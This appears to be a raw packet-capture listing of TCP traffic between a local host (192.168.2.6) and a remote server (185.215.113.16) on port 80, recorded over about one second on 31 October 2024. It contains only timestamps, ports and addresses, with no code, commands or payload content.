Oct 31, 2024 01:18:29.604644060 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:29.606818914 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:29.606844902 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:29.606858969 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:29.606874943 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:29.606935024 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:29.606978893 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:29.758991003 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:29.759013891 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:29.759135008 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:29.759145021 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:29.759146929 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:29.759160995 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:29.759172916 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:29.759259939 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:29.759674072 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:29.759691000 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:29.759704113 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:29.759716034 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:29.759727001 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:29.759727001 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:29.759824991 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:29.760427952 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:29.760544062 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:29.760560036 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:29.760571957 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:29.760586977 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:29.760607004 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:29.760612011 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:29.760620117 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:29.760724068 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:29.761445045 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:29.761456966 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:29.761477947 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:29.761488914 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:29.761501074 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:29.761513948 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:29.761549950 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:29.761549950 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:29.763286114 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:29.763385057 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:29.763504982 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:29.763900042 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:29.811475992 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:29.916110039 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:29.916136026 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:29.916153908 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:29.916201115 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:29.916212082 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:29.916224003 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:29.916229963 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:29.916296005 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:29.916296005 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:29.916548014 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:29.916559935 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:29.916570902 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:29.916598082 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:29.916861057 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:29.916886091 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:29.916906118 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:29.916922092 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:29.916934013 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:29.917000055 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:29.917201042 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:29.917212963 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:29.917339087 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:29.917350054 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:29.917361021 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:29.917361021 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:29.917395115 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:29.917395115 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:29.917413950 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:29.917426109 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:29.917437077 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:29.917709112 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:29.918044090 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:29.918061018 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:29.918072939 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:29.918100119 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:29.918102026 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:29.918116093 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:29.918127060 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:29.918129921 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:29.918140888 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:29.918154955 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:29.918167114 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:29.918235064 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:29.918991089 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:29.919003010 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:29.919027090 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:29.919038057 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:29.919054985 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:29.919054985 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:29.919055939 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:29.919080973 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:29.919092894 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:29.919101000 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:29.919105053 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:29.919130087 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:29.919872999 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:29.919922113 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:29.919981956 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:29.919995070 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:29.920006990 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:29.920018911 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:29.920032024 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:29.920042992 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:29.920044899 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:29.920052052 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:29.920068026 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:29.920068026 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:29.920859098 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:29.920871019 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:29.920883894 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:29.920936108 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.073146105 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.073182106 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.073260069 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.073271990 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.073282957 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.073292017 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.073401928 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.073405981 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.073574066 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.073596001 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.073612928 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.073626041 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.073637962 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.073649883 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.073653936 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.073673964 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.073702097 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.073720932 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.073733091 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.073745966 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.073858023 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.074157000 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.074171066 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.074182987 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.074209929 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.074243069 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.074260950 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.074274063 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.074285030 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.074296951 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.074307919 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.074309111 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.074449062 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.074599028 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.074609995 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.074621916 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.074651957 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.074651957 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.074666023 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.074676037 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.074692011 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.074703932 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.074714899 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.074716091 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.074727058 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.074739933 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.074740887 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.074768066 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.075238943 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.075289965 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.075340033 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.075351954 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.075362921 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.075376987 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.075387001 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.075411081 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.075421095 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.075423002 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.075436115 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.075445890 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.075457096 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.075457096 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.075469971 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.075481892 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.075496912 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.075583935 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.076193094 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.076205015 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.076215982 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.076239109 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.076252937 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.076256990 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.076268911 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.076281071 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.076283932 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.076291084 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.076294899 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.076308012 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.076318026 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.076328993 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.076339006 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.076343060 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.076355934 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.076369047 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.076375961 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.076524973 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.077240944 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.077253103 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.077265024 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.077275991 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.077286959 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.077290058 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.077299118 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.077311039 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.077322960 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.077332973 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.077342033 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.077349901 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.077353954 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.077366114 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.077378035 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.077384949 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.077384949 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.077390909 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.077419996 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.077960014 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.078006029 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.078006983 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.078020096 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.078068972 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.078155041 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.078166962 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.078177929 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.078190088 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.078201056 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.078203917 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.078212976 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.078226089 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.078238964 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.078249931 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.078254938 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.078263044 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.078290939 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.078290939 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.078393936 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.078833103 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.078874111 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.078886986 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.078933001 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.078984022 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.078998089 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.079024076 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.079034090 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.079219103 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.230618954 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.230635881 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.230680943 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.230691910 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.230704069 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.230835915 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.230848074 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.230859041 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.230875015 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.230887890 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.230912924 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.230923891 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.230936050 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.230947971 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.230948925 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.230961084 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.231035948 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.231048107 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.231059074 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.231065989 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.231096983 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.231131077 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.231142998 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.231161118 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.231165886 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.231178999 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.231189966 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.231189966 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.231302977 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.231338024 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.231400967 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.231427908 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.231430054 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.231447935 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.231461048 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.231470108 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.231475115 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.231488943 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.231502056 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.231512070 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.231513977 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.231559992 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.231559992 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.231703043 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.231714964 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.231724977 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.231784105 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.231796026 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.231806040 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.231813908 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.231837988 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.231890917 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.231911898 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.231918097 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.231925011 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.232018948 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.232048035 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.232192993 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.232218027 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.232234955 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.232247114 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.232260942 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.232260942 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.232445955 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.232460976 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.232475042 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.232485056 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.232496977 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.232508898 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.232513905 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.232537985 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.232629061 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.232640028 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.232650042 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.232666969 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.232677937 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.232683897 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.232690096 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.232702017 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.232707024 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.232734919 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.232734919 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.232748985 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.232753992 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.232759953 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.232764959 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.232770920 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.232780933 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.232790947 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.232791901 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.232805967 CET	80	49797	185.215.113.16	192.168.2.6
